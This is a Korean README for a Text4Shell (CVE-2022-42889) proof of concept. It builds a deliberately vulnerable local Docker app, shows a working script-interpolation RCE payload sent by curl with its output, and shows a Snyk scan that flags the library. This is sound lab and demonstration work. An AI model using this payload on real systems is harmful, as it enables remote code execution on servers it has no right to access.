
CVE-2022-42889 (일명 Text4Shell) RCE PoC

Text4Shell은 Apache Commons Text 라이브러리에서 발견된 치명적인 소프트웨어 취약점의 통칭입니다 (CVE-2022-42889 참조).
이 저장소는 이 CVE를 활용하는 원격 코드 실행(RCE)을 시연하기 위한 것입니다.
이 취약한 코드는 SpringBoot 컨트롤러에서 사용되지만 혼동하지 마세요. 이것은 SpringBoot/Spring 보안 문제가 아닙니다.
RCE를 테스트하기 전에 Docker 이미지를 빌드하십시오:
$ docker build -t text4shell .
...
=> exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f 0.0s
=> => naming to docker.io/library/text4shell
그런 다음 컨테이너를 실행하십시오:
$ docker run --name text4shell --rm -ti -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798 INFO 1 --- [ main] it.sunnyvale.text4shell.Main : Started Main in 1.376 seconds (JVM running for 1.713)
마지막으로 특수하게 조작된 URL로 취약한 애플리케이션을 익스플로잇해 볼 수 있습니다:
$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%
컨테이너의 /tmp 디렉터리에서 p0wned라는 파일을 찾을 수 있다면 RCE가 성공적으로 실행된 것입니다.
$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r-- 1 root root 0 Nov 5 09:17 /tmp/p0wned
Snyk를 사용하여 이미지를 스캔하면 취약한 라이브러리가 감지됩니다:
$ docker scan text4shell | grep text
Testing text4shell...
Project name: docker-image|text4shell
Docker image: text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name: text4shell:latest:/app
Docker image: text4shell